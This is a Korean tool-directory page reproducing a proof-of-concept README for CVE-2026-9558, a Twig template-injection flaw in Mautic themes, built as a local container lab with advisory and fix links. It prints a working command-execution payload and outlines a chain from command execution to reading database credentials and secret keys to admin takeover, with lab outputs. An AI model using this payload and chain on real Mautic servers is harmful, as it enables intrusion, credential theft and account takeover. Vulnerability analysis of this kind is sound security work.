Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-9558-poc — CVE-2026-9558 (SSTI Mautic 테마) 악용 가능성 PoC | Kitploit
도구/GitHubGitHub/covepseng/cve-2026-9558-poc
Privilege EscalationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice
GitHubcovepseng/cve-2026-9558-poc

cve-2026-9558-poc

CVE-2026-9558 (SSTI Mautic 테마) 악용 가능성 PoC

저장소 보기
132개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-9558 — Mautic 테마 템플릿 서버 사이드 템플릿 인젝션(SSTI)을 통한 완전한 관리자 권한 탈취

목차

  • 개요
  • 영향을 받는 버전
  • 근본 원인
  • 분석
  • 리포지토리 구조
  • 요구 사항
  • 사용 방법
  • 예상 출력
  • 참조
  • 면책 조항

개요

CVE-2026-9558은 Mautic 테마 엔진의 서버 사이드 템플릿 인젝션(SSTI) 취약점입니다. 테마 관리자(Theme Manager)를 통해 업로드되는 테마는 Twig 템플릿을 포함하는 ZIP 아카이브이며, 영향을 받는 버전에서는 해당 템플릿이 SandboxExtension 정책이 연결되지 않은 애플리케이션의 기본 Twig Environment에 의해 렌더링됩니다.

Twig는 map, filter, reduce 같은 필터를 통해 임의의 PHP 호출 가능(callable) 함수를 호출할 수 있으므로, 테마 업로드 권한이 있는 인증된 사용자는 렌더링되는 즉시 임의의 시스템 명령을 실행하는 템플릿이 포함된 테마를 설치할 수 있습니다. 이 렌더링은 사용자가 해당 테마로 이메일 또는 랜딩 페이지 빌더를 여는 첫 순간 자동으로 발생합니다.

root@kitploit:~
{{ ["id"] | map("system") | join }}

영향을 받는 버전

영향을 받는 범위수정 버전
>= 1.3.0, < 4.4.134.4.13 (ELTS를 통한 4.4.20)
>= 5.0.0, < 5.2.115.2.11
>= 6.0.0, < 6.0.96.0.9
>= 7.0.0, < 7.1.27.1.2

이 랩은 수정 이전 마지막 릴리스인 7.1.1을 대상으로 합니다.


근본 원인

Mautic 개발자 문서에는 테마 템플릿이 제한된 Twig 샌드박스에서 렌더링된다고 명시되어 있습니다:

Mautic은 사용자가 업로드한 테마 템플릿을 제한된 Twig 샌드박스 환경에서 렌더링합니다. 이 샌드박스는 원격 코드 실행, 데이터 유출 또는 파일시스템 탐색을 가능하게 할 수 있는 특정 함수와 필터를 차단합니다.

영향을 받는 버전에는 이러한 샌드박스 정책이 존재하지 않습니다. 수정 버전(7.1.2)에서는 ThemeSandboxPolicy.php이 도입되었는데, 이는 map, filter, reduce 필터와 source()(임의 파일 읽기), configGetParameter()(DB 자격 증명 및 애플리케이션 비밀 키 유출)를 포함한 일련의 함수를 차단하는 차단 목록(denylist) 기반의 SecurityPolicyInterface 구현입니다. 수정 커밋 자체의 인라인 주석에는 이 PoC에서 사용된 정확한 페이로드 형태가 문서화되어 있습니다:

root@kitploit:~
private const DENIED_FILTERS = [
    'map',    // {{ ['id']|map('system')|join }} -> RCE
    'reduce',
    'filter',
];

이 정책이 도입되기 전에는 어떤 테마 렌더링 경로에도 이러한 제한이 존재하지 않았습니다.


분석

이 공격 체인은 권고문의 CVSS 벡터에 있는 PR:L 사전 조건과 일치하도록, 관리자가 아니라 Themes(생성/편집) 및 Emails(생성/편집) 권한 그룹만 가진 저권한 계정을 대상으로 처음부터 끝까지(end-to-end) 검증되었습니다.

  1. 명령 실행 — 수정된 테마를 업로드하고 이메일 빌더를 열면 테마의 .twig 파일에 포함된 system() 호출이 실행됩니다.
  2. 자격 증명 탈취 — 동일한 프리미티브(primitive)로 Mautic 자체의 config/local.php를 읽어 데이터베이스 자격 증명과 애플리케이션 secret_key를 평문으로 노출시킵니다.
  3. 권한 상승 — 탈취한 데이터베이스 자격 증명을 사용해 SSTI 페이로드 내부에서 직접 PDO 연결을 열고 저권한 계정을 role_id 1(관리자)로 승격시켜 Mautic의 애플리케이션 수준 권한 검사를 완전히 우회합니다.
root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@kitploit:~
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
root@kitploit:~
rows_updated=1
confirm: 2|priv-esc|1

경험적으로 확인된 사전 조건

권고문에는 PR:L이라고 명시되어 있습니다. 이 랩은 구체적인 저권한 사전 조건을 실제로 확인합니다. 렌더링 트리거에 도달하려면 단일한 일반 저권한이 아니라 테마 업로드 권한과 이메일 생성 권한이 모두 필요합니다. 공식 수정 외에 이 취약점을 제한하는 우회 방법은 없으며, 문서화된 유일한 완화 조치는 core:themes:create 권한을 신뢰할 수 있는 관리자로 제한하는 것입니다.


리포지토리 구조

root@kitploit:~
cve-2026-9558-poc/
├── podman-compose.yml       # MariaDB + Mautic 7.1.1-apache, isolated bridge network
├── Dockerfile.mautic        # pins the official image to the vulnerable release
├── install.sh                # non-interactive mautic:install bootstrap
└── sparse/
    ├── config.json           # malicious theme manifest
    ├── sparse.zip            # theme ready to be uploaded
    └── html/
        ├── email.html.twig   # SSTI payload template. Look at the end of file where there is the placeholder for injecting arbitrary commands.
        ├── ...               # Other .twig files
        └── .../              # Other directories (e.g css)

요구 사항

도구버전비고
Podman≥ 4.0podman-compose 필요
curlanyinstall.sh가 준비 상태를 확인하는 데 사용

이 PoC에서의 악용은 실제 공격자의 작업 흐름과 동일하게 Mautic 웹 UI(테마 관리자 업로드 → 이메일 빌더)를 통해 수동으로 수행됩니다. 테마 업로드는 파일 작업이므로 분석의 이 단계에서 자동화할 가치가 있는 API 호출이 아닙니다.


사용 방법

1. 랩 빌드 및 시작

root@kitploit:~
podman-compose up -d
./install.sh

install.sh는 앱 컨테이너가 연결을 수락할 때까지 대기한 다음, 비대화형으로 mautic:install을 실행하여 첫 번째 관리자 계정을 부트스트랩합니다.

2. 저권한 계정 생성

UI에서 Themes(생성/편집) 및 Emails(생성/편집)만 활성화된 사용자 정의 역할과 해당 역할에 할당된 사용자를 생성합니다. 이렇게 하면 관리자로 테스트하는 대신 PR:L 사전 조건을 재현할 수 있습니다.

3. 악성 테마 업로드

저권한 사용자로 로그인합니다. Themes → Upload에서 sparse/config.json과 sparse/html/page.html.twig로 구성된 ZIP을 업로드합니다(또는 .twig 파일에 페이로드 줄이 추가된 기본 제공 테마의 수정된 사본을 업로드).

4. 렌더링 트리거

Channels → Emails → New에서 업로드한 테마를 템플릿으로 선택하고 빌더를 엽니다. 테마가 미리보기용으로 렌더링되는 즉시 페이로드가 실행됩니다.

5. 정리

root@kitploit:~
podman-compose down -v

예상 출력

root@kitploit:~
uid=33(www-data) gid=33(www-data) groups=33(www-data)

참조


면책 조항

이 리포지토리는 교육 목적 및 로컬 악용 가능성 분석 전용으로 제공됩니다. 모든 테스트는 자체 호스팅 컨테이너 환경에서 수행되었습니다. 소유하지 않았거나 명시적인 서면 테스트 승인을 받지 않은 시스템에 이 PoC를 실행하지 마십시오.

도구 다운로드
리소스링크
보안 권고GHSA-9fx4-7cmj-47vg
수정 (샌드박스 정책)ThemeSandboxPolicy.php
취약한 리포지토리mautic/mautic
전체 분석 — 블로그 포스트return-zero.dev/posts/cve-2026-9558